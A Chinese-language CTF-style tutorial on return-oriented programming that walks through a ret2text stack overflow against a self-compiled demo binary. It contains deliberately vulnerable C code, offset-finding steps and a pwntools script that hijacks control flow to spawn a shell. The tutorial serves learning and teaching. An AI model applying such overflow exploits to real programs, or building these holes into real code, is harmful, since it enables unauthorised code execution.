以下是 CTF wiki 对 ROP 的描述:
随着 NX(数据不可执行) 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
说一下环境:ubuntu 1604、pwntools、gdb-peda
推荐看一下参考资料中的《ROP轻松谈》,对栈有个基本的认识,否则下面可能看不懂
接下来,编写一个简单的程序来进一步了解ROP。
在这段代码中,存在一个栈溢出点和可get shell的函数,我们需要利用溢出点进行溢出,并设法使程序运行到get shell的函数。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
先从32位开始入手,编译32位程序。
在 64位 Linux 上编译32位程序,需要安装以下依赖:
sudo apt-get install build-essential module-assistant gcc-multilib g++-multilib
进行编译:
gcc -m32 -fno-stack-protector -o demo demo.c
-m32 : 编译32位程序
-fno-stack-protector :关闭栈保护,即 Stack Canary
gets函数是一个危险函数,下面是百度百科对 gets 函数的描述
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
程序中为s分配的长度为12,而gets函数可以无限读取,可以使用它进行溢出。
溢出的目的是控制函数返回地址,在这里需要控制 vulnerable 函数的返回地址。
虽然程序是自己编写和编译的,但还是走一下流程。
首先查看一下程序的保护措施开启情况:
➜ 01 checksec ./demo
[*] '/mnt/hgfs/pwn/Tide/01/demo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found <- 未开启栈保护
NX: NX enabled
PIE: No PIE (0x8048000)
未开启栈保护,存在栈溢出的可能。
简单执行一下:
➜ 01 ./demo
sssssss
sssssss
使用IDA 32 打开。
在左侧的函数列表中可以看到gets函数,我们已知其是危险函数,会造成栈溢出, 其次还看到了 vulnerable 函数,
int vulnerable()
{
char s; // [esp+4h] [ebp-14h] gets(&s);
return puts(&s);
}
首先搜索一下“/bin/sh”
进入第一条,F5 看一下
int success()
{
puts("You Hava already controlled it.");
return system("/bin/sh");
}
看一下该函数的地址:0x0804846B,需要劫持程序控制流,使其执行到该函数。
接下来我们需要得到字符串起始地址和ret的偏移量,这里介绍两种方式
1.手动计算
在 vulnerable 的汇编中,可以看到
0x804849d <vulnerable+9>: lea eax,[ebp-0x14]
0x80484a0 <vulnerable+12>: push eax
=> 0x80484a1 <vulnerable+13>: call 0x8048320 <[email protected]>
可以看到该字符串是对于ebp的索引,s 对于 ebp 的偏移为 0x14 ,因此对于返回地址的偏移为0x14 + 0x4 = 0x18 = 24
如果字符串基于esp的索引,可以使用gdb在 call _gets 处下断点,得到esp的值来计算字符串的地址。
2.使用 pattern 工具
首先,使用pattern生成一串字符串
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
在gdb中,输入r,执行程序,在输入的位置粘贴上pattern生成的字符串(注意不要包含多余的符号如'和空格、换行)
Stopped reason: SIGSEGV
0x44414128 in ?? ()
内存出错的位置为:0x44414128
gdb-peda$ pattern offset 0x44414128
1145127208 found at offset: 24
基于以上得到的偏移量和success的函数地址,payload可以构造为
payload = 'a'*24 + func_success_addr
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804846B 在内存中的形式是
\x6b\x84\x04\x08
此处使用 pwntools 来进行转换,即 p32(func_success_addr)
from pwn import *io = process('./demo')
func_success_addr = 0x0804846B
payload = 'a'*24 + p32(func_success_addr)
io.sendline(payload)
io.interactive()
本文到此结束,实际上该题属于 ret2text 类型,ret2text 即控制程序执行程序本身已有的的代码 (即.text段)。
jarvisoj level0 也属于此类型,可以做做,解法基本一致。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
我知道你在看哟